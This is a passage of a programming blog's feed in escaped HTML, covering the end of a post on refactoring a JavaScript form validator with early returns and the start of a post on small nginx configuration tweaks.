style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What we have now is a simple test to see if the user is under 50 at the start,
where we then test for the two only passing scenarios and return &lt;code&gt;false&lt;/code&gt;
otherwise. If above 50, we always return &lt;code&gt;true&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We&#39;ve changed a complex multi-level deep nesting of &lt;code&gt;if&lt;/code&gt;/&lt;code&gt;else&lt;/code&gt; into a simple
branching and enumerations of valid cases. This is easier to grasp.&lt;/p&gt;
&lt;h2&gt;Return early, return often&lt;/h2&gt;
&lt;p&gt;But this code is not yet clear enough. I don&#39;t like the big &lt;code&gt;if&lt;/code&gt; surrounding
almost the whole method. What we should do is revert the condition to discard
the edge-cases earlier and leave the bulk of the method to test the common
cases.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; isFormValid&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;inputs&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;age&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 50&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;gender&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; ===&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;M&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;firstName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; !==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;lastName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; !==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;gender&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; ===&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;F&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;firstName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; !==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;lastName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; !==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;maidenName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; !==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the first lines of the method, we check for the easy validations, the one
that can fit in one line and return quickly. This lets our mind quickly discard
all the edge cases, and focus the code on the most common use-cases. This way,
we do not have to mentally keep track of all the pending &lt;code&gt;if&lt;/code&gt;/&lt;code&gt;else&lt;/code&gt; the
previous code was creating.&lt;/p&gt;
&lt;h2&gt;Shorter conditions&lt;/h2&gt;
&lt;p&gt;The code is getting more readable already, but there are still code duplication
that we should avoid. We are testing for
&lt;code&gt;inputs.firstName !== &#39;&#39; &amp;amp;&amp;amp; inputs.lastName !== &#39;&#39;&lt;/code&gt; twice. Let&#39;s move that into
a carefully named variable.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; isFormValid&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;inputs&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;age&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 50&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; mandatoryNamesDefined&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;firstName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; !==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;lastName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; !==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;gender&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; ===&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;M&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; mandatoryNamesDefined&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;gender&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; ===&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;F&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; mandatoryNamesDefined&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;maidenName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; !==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This change has two benefits. First, the &lt;code&gt;if&lt;/code&gt; reads better in plain english if
you read it in your mind. This will help further contributors (or even you, in 6
months time) understand what the &lt;code&gt;if&lt;/code&gt; is actually testing.&lt;/p&gt;
&lt;p&gt;Second, if in the future you decide that only the &lt;code&gt;firstName&lt;/code&gt; is mandatory,
you&#39;ll only have to change the &lt;code&gt;var mandatoryNamesDefined&lt;/code&gt; declaration and all
your checks will be impacted.&lt;/p&gt;
&lt;p&gt;Extracting this check into a variable was easy. The hardest part is correctly
naming the variable. If you have trouble finding a nice name for your variable,
this might be because you&#39;re trying to fit to many checks in one variable. Split
it in several and then combine them.&lt;/p&gt;
&lt;h2&gt;One step further&lt;/h2&gt;
&lt;p&gt;There is still one change we can add. People can only chose a gender of &lt;code&gt;M&lt;/code&gt; or
&lt;code&gt;F&lt;/code&gt;, so we can even reverse the way checks are made at the end by using the
&lt;em&gt;return early, return often&lt;/em&gt; rule again and inverting the conditions.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; isFormValid&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;inputs&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;age&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 50&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; mandatoryNamesDefined&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;firstName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; !==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;lastName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; !==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;mandatoryNamesDefined&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;gender&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; ===&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;F&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;maidenName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; ===&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now the code reads like a bullet point list, much closer to the original spec:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If older than 50, the form is valid.&lt;/li&gt;
&lt;li&gt;If firstName and lastName are empty, the form is invalid.&lt;/li&gt;
&lt;li&gt;If you&#39;re a woman and haven&#39;t filled your maidenName, the form is invalid.&lt;/li&gt;
&lt;li&gt;All other cases are valid.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Code is like literature. Writing it is really easy, anybody can do it. You just
have to learn the basic syntax and here you go. Writing code that reads well is
harder, and you have to methodically re-read it several times and remove all the
useless parts so the reader mind grasps everything easily.&lt;/p&gt;
&lt;p&gt;Think of the next person that will read your code to add a new feature or fix a
bug. That next person might well be you. You don&#39;t want to spend more time
understanding the code than actually fixing it. Make your (future) self a favor,
and write code that reads easily.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Nginx tweaks</title>
    <link href="https://blog.pixelastic.com/2015/12/28/nginx-tweaks/"/>
    <updated>2015-12-28T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2015/12/28/nginx-tweaks</id>
    <content type="html">&lt;p&gt;&lt;em&gt;I just realized I have a bunch of posts forgotten into my draft folder. I&#39;ll
dust them up and publish them, using my 3 hours train journey the best I can.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;So this one if about a few tweaks I did to the nginx config used on this very
own blog.&lt;/p&gt;
&lt;h2&gt;Prevent access without a hostname&lt;/h2&gt;
&lt;p&gt;The first one is a small security measure to disallow serving files when
accessing the server through its IP address. Only requests that specify a valid
hostname will be honored. This will prevent people from accidentally browsing
your tree structure.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-nginx&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;http&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  [...]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  server&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    listen &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;80&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 444&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Defining a custom 404 page&lt;/h2&gt;
&lt;p&gt;It is always better to serve a real 404 page than the default one. To be able to
define a specific 404 page for each website hosted, you have to use the
&lt;code&gt;error_page&lt;/code&gt; directive.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-nginx&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;server&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  [...]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  error_page &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;404&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; =404&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; /path/to/404.html&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  # You can also use:&lt;/span&gt;&lt;/span&gt;
